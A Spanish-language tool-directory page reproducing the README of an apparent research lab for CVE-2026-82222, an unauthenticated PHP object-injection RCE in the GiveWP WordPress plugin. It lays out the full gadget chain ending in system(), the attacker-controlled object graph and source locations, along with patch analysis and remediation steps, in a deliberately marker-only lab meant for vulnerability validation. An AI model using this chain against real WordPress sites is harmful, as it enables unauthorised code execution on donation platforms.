Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
givewp-cve-2026-82222-rce-lab — # Laboratorio Docker autorizado y PoC limpio para validar la RCE CVE-2026-82222 en GiveWP 4.16.5.1 y la corrección 4.16.7.2. | Kitploit
Herramientas/GitHubGitHub/dinosn/givewp-cve-2026-82222-rce-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubdinosn/givewp-cve-2026-82222-rce-lab

givewp-cve-2026-82222-rce-lab

# Laboratorio Docker autorizado y PoC limpio para validar la RCE CVE-2026-82222 en GiveWP 4.16.5.1 y la corrección 4.16.7.2.

Ver Repositorio
1hace 9h 4mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-82222 — Laboratorio de Validación de RCE Solo-Marcador para GiveWP

Material de investigación de seguridad para reproducir y validar CVE-2026-82222 en un laboratorio Docker aislado.

Para el PoC de RCE directo y el escaneo de URL, use CVE-2026-8222-RCE.py

Veredicto

Estado: probado en el laboratorio suministrado

GiveWP 4.16.5.1 permite que un atacante inicialmente no autenticado persista un grafo de objetos PHP, lo reviva a través del manejo de sesiones de GiveWP y ejecute un comando marcador fijo como el usuario del servidor web de WordPress.

Resultado positivo probado:

root@kitploit:~
GiveWP:    4.16.5.1
WordPress: 6.6.2
PHP:       8.1.30
Resultado: /tmp/CVE-2026-82222-RCE-GETBAG creado por www-data

El resultado de extremo a extremo también se reprodujo contra el código fuente pristino y no instrumentado de GiveWP 4.16.5.1. GiveWP 4.16.7.2 bloqueó el transportador HTTP en la configuración probada y bloqueó de forma independiente el gadget terminal durante un control directo.

Esto demuestra la ejecución de comandos dentro del contenedor de WordPress. No demuestra acceso root, escape de contenedor, movimiento lateral ni compromiso del host.

Límite de seguridad

Use este repositorio solo en sistemas que posea o para los que tenga autorización explícita de probar.

El PoC suministrado está restringido intencionalmente:

  • Ejecuta únicamente touch /tmp/CVE-2026-82222-RCE-GETBAG.
  • No ofrece opción de comando arbitrario.
  • No crea shell, callback, persistencia ni escalada de privilegios.
  • Rechaza objetivos que no sean de loopback a menos que el operador proporcione explícitamente la bandera --allow-authorized-non-loopback.
  • Docker publica WordPress solo en 127.0.0.1.
  • El nombre del proyecto de Compose se deriva de la ruta del checkout, por lo que un clon no puede derribar los contenedores o volúmenes de otro clon.
  • El laboratorio usa el código fuente oficial pristino del plugin; no instrumenta ni parchea el objetivo vulnerable.

La prueba HTTP crea un usuario donante desechable, metadatos y filas de sesión de GiveWP. Use el comando de reinicio incluido después de las pruebas.

Inicio rápido

Requisitos:

  • Docker con Compose v2
  • Python 3.10 o posterior
  • curl
  • unzip
  • sha256sum o shasum
  • Acceso de red a downloads.wordpress.org para los archivos oficiales del plugin

Ejecute la matriz completa vulnerable/parcheado:

root@kitploit:~
./lab verify

El comando:

  1. Descarga GiveWP 4.16.5.1 y 4.16.7.2 desde WordPress.org.
  2. Verifica ambos hashes SHA-256.
  3. Construye un laboratorio nuevo de solo-loopback de WordPress 6.6.2/PHP 8.1 con el registro normal de WordPress deshabilitado explícitamente.
  4. Prueba el 4.16.5.1 pristino y exige la creación del marcador por el usuario web.
  5. Construye un segundo laboratorio nuevo con el 4.16.7.2 pristino.
  6. Exige que el marcador HTTP permanezca ausente.
  7. Omite el ingreso en un control directo y confirma que el terminal ProviderForwarder parcheado también rechaza el callable de cadena.

El laboratorio parcheado permanece en ejecución al final. Elimínelo con:

root@kitploit:~
./lab reset

Para usar otro puerto de loopback:

root@kitploit:~
LAB_PORT=8099 ./lab verify

Evidencia esperada

El control vulnerable debe terminar con evidencia terminal concreta:

root@kitploit:~
[PASS] E1: el registro no autenticado emitió cookie de autenticación
[PASS] E3: el grafo serializado persistió en el propio last_name
[PASS] E4: se obtuvo el nonce del formulario de donación
[PASS] E5: la escritura de sesión alcanzó el estado HTTP esperado posterior al sumidero=500
[PASS] E6: se completó el disparador de lectura/destrucción de sesión
marcador presente y propiedad del usuario web de WordPress
RESULTADO: CONTROL VULNERABLE CONFIRMADO

El control parcheado debe mostrar:

root@kitploit:~
[PASS] P1: la puerta de registro parcheada bloqueó la cookie de autenticación
DIRECT_MARKER=ausente
marcador HTTP ausente y gadget terminal directo bloqueado
RESULTADO: CONTROL PARCHEADO CONFIRMADO

Un HTTP 500, payload almacenado, excepción o detección sin el marcador no se acepta como prueba de RCE.

Ciclo de vida manual del laboratorio

Inicie y pruebe la versión vulnerable:

root@kitploit:~
./lab start vulnerable
./lab test

Inicie y pruebe la versión parcheada:

root@kitploit:~
./lab start patched
./lab test

Inspeccione el estado actual:

root@kitploit:~
./lab status

Elimine contenedores, volúmenes, usuarios de prueba, sesiones y estado del marcador:

root@kitploit:~
./lab reset

Los ZIP de plugins en caché y los activos extraídos se conservan para reejecuciones más rápidas. Elimine también esos activos generados exactos con:

root@kitploit:~
./lab reset --purge-assets

Versiones afectadas y probadas

VersiónEvaluación
GiveWP 4.16.5.1RCE reproducido de extremo a extremo
GiveWP 4.16.6–4.16.7.1Reportado como afectado; no reproducido individualmente aquí
GiveWP 4.16.7.2Controles negativos parcheados reproducidos
Versiones posterioresNo probadas individualmente; actualice a la última versión compatible

El aviso público identifica las versiones hasta la 4.16.7.1 como afectadas. Este repositorio prueba directamente solo las dos versiones en su matriz de pruebas positiva/negativa.

Referencias:

  • Aviso de Patchstack
  • CVE-2026-82222
  • Commit de endurecimiento de GiveWP
  • Página oficial del plugin GiveWP

Causa raíz

El exploit combina varios comportamientos:

  1. GiveWP 4.16.5.1 expone una acción de registro que crea y autentica un donante de bajo privilegio incluso cuando el registro normal de WordPress está deshabilitado.
  2. Ese usuario puede persistir datos serializados en sus propios metadatos de nombre.
  3. Give\Helpers\Utils::maybeSafeUnserialize() usa allowed_classes => false, produciendo __PHP_Incomplete_Class, pero una serialización posterior conserva los nombres de clase y propiedades originales.
  4. El grafo se almacena en una sesión de compra de GiveWP.
  5. Un maybe_unserialize() sin restricciones posterior revive las clases incluidas.
  6. La destrucción automática entra en una cadena POP completa hasta system().

Se requieren cuatro barras invertidas literales de espacio de nombres en el transportador HTTP. Las dos pasadas de eliminación efectivas las reducen 4 -> 2 -> 1. El payload no contiene NUL, y se verificó que PHP 8.1.30 hidrata el nombre serializado simple para la propiedad privada Session::$attributeName.

Cadena POP completa

root@kitploit:~
TCPDF::__destruct()
  -> TCPDF::_destroy(true)
  -> foreach ($this->imagekeys as $file)
  -> Symfony Session::getIterator()
  -> Session::getAttributeBag()
  -> Session::getBag($this->attributeName)
  -> $this->storage->getBag($attributeName)
  -> DonationFactory->__call('getBag', [$attributeName])
  -> call_user_func_array('system', [$attributeName])
  -> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')

Grafo controlado por el atacante:

root@kitploit:~
TCPDF
├── file_id = identificador único de solicitud
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
    ├── attributeName = comando marcador fijo
    └── storage = Give\TestData\Factories\DonationFactory
        └── loadedProviders["getBag"] = "system"

La transición oculta crítica es el despacho implícito de IteratorAggregate de PHP. TCPDF::$imagekeys no está tipado, por lo que asignar una Session de Symfony hace que foreach invoque Session::getIterator().

El comando marcador se ejecuta antes de que Symfony aplique el tipo de retorno getAttributeBag(): AttributeBagInterface. El TypeError resultante y el HTTP 500 son efectos posteriores al sumidero.

Lo que omitieron los intentos anteriores

El grafo candidato rechazado usaba:

root@kitploit:~
TCPDF::$objcopy
  -> DonationFactory::$loadedProviders['__destruct'] = 'system'

Ese grafo no puede funcionar. TCPDF::_destroy() solo elimina objcopy; PHP no enruta la destrucción automática a través de __call('__destruct', ...).

La operación faltante era:

root@kitploit:~
foreach ($this->imagekeys as $file) {

La revisión anterior siguió destructores y llamadas a métodos explícitos pero no inspeccionó recursivamente el protocolo de objetos implícito disparado por foreach. La Session de Symfony suministra el puente faltante:

  • foreach invoca getIterator().
  • getIterator() llega a getBag($attributeName).
  • El storage controlado por el atacante es un DonationFactory.
  • El getBag indefinido invoca ProviderForwarder::__call().
  • loadedProviders['getBag'] = 'system' selecciona el callable.
  • attributeName suministra el argumento del comando.

Evidencia de código fuente

Ubicaciones relevantes de GiveWP 4.16.5.1:

ComponenteUbicación
Unserialize inicial protegidosrc/Helpers/Utils.php:203-217,237-241
Transportador de donaciónincludes/process-donation.php:157
Persistencia de sesión de GiveWPincludes/class-give-session.php:364-368,489-508
Revitalización de sesión sin restriccionesincludes/class-give-session.php:347-350
Destructor de TCPDFvendor/tecnickcom/tcpdf/tcpdf.php:2050-2052
Iteración controlada por el atacantevendor/tecnickcom/tcpdf/tcpdf.php:7885-7907
Puente iterador de Symfonyvendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136
Puente getBag de Symfonyvendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283
Callable terminalsrc/TestData/Framework/ProviderForwarder.php:19-23
Autocargadores de Composer de GiveWPgive.php:624-625

Hashes de las versiones oficiales:

root@kitploit:~
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c

give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae

El laboratorio re-extrae cada plugin de su ZIP verificado antes de cada inicio nuevo, lo copia en WordPress sin modificación y compara byte a byte el árbol de archivos completo del plugin desplegado con el código fuente verificado. Las tres imágenes base oficiales de Docker también están fijadas a sus resúmenes de manifiesto multiarquitectura.

Por qué 4.16.7.2 bloquea la cadena

GiveWP 4.16.7.2 añade defensas independientes en el registro, el manejo de entrada serializada, la revitalización de sesión, la migración de datos y el endurecimiento de gadgets.

El endurecimiento terminal requiere que el objeto resuelto implemente el contrato de proveedor esperado:

root@kitploit:~
if ( ! $provider instanceof Contract\Provider ) {
    return null;
}

Por lo tanto, la cadena system controlada por el atacante es rechazada. El control directo en este repositorio omite el transportador HTTP y verifica que esta defensa terminal por sí sola deja su marcador ausente.

Comprobación de una implementación real

Un resultado negativo del PoC por sí solo no prueba que un sitio esté parcheado. Un WAF, un enrutamiento diferente, el registro deshabilitado, un formulario heredado faltante, la configuración de sesión o las funciones de comandos PHP deshabilitadas pueden impedir el marcador en una base de código aún vulnerable.

Procedimiento de validación preferido:

  1. Registre la versión de GiveWP implementada y la revisión del código fuente.
  2. Haga una copia de seguridad o instantánea del sitio de WordPress y la base de datos.
  3. Restaure esa instantánea en un entorno de ensayo aislado.
  4. Deshabilite el acceso de red saliente innecesario.
  5. Ejecute este verificador solo-marcador contra el clon.
  6. Actualice GiveWP a la última versión compatible, con 4.16.7.2 como la versión mínima que contiene las correcciones probadas.
  7. Repita la prueba idéntica y exija la ausencia del marcador.
  8. Verifique de forma independiente la versión del plugin instalado y el código fuente parcheado.

Verificación de versión:

root@kitploit:~
wp plugin get give --fields=name,status,version

Remediación y revisión de incidentes

Actualice GiveWP a la última versión compatible. Después de actualizar:

  • Limpie las cachés de opcode de PHP donde corresponda.
  • Confirme que no quede ninguna copia anterior de GiveWP activa o accesible por web.
  • Revise cuentas inesperadas de WordPress o donantes.
  • Busque en los metadatos de usuario y las sesiones de GiveWP grafos serializados de TCPDF, Session de Symfony o loadedProviders.
  • Correlacione el registro, los cambios de perfil, las solicitudes de donación y las respuestas HTTP 500 posteriores de la misma sesión.
  • Investigue procesos hijos inesperados del servidor web o cambios en el sistema de archivos.

Si una instalación vulnerable expuesta a internet contiene artefactos de inyección de objetos, trátela como un posible compromiso en lugar de solo actualizar el plugin.

Estructura del repositorio

root@kitploit:~
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│   ├── direct-pop-control.php
│   └── poc.py
└── scripts
    └── fetch-assets.sh

No confirmado:

root@kitploit:~
ZIP oficiales de plugins
código fuente de GiveWP extraído
código fuente del objetivo instrumentado
cookies o datos de sesión
evidencia/registros de ejecución
direcciones internas de destino o credenciales reutilizables
payloads obsoletos de objcopy
salida histórica de validación

Límites de validación

AfirmaciónEstado
Transportador persistente de inyección de objetos PHPProbado
Revitalización de clases incluidasProbado
Cadena POP completa de stockProbado
Marcador fijo ejecutado como usuario webProbado
Reproducción contra 4.16.5.1 pristinoProbado
Controles negativos contra 4.16.7.2 pristinoProbado
Cada versión afectada intermedia probadaNo probado
Privilegio rootNo afirmado
Escape de contenedorNo probado
Compromiso del hostNo probado

El estándar de prueba es deliberadamente estricto: solo un marcador de comando observable a través de la cadena de stock sin modificar se etiqueta como RCE. La aceptación HTTP, la serialización, las excepciones y las detecciones son evidencia intermedia.

Descargar herramienta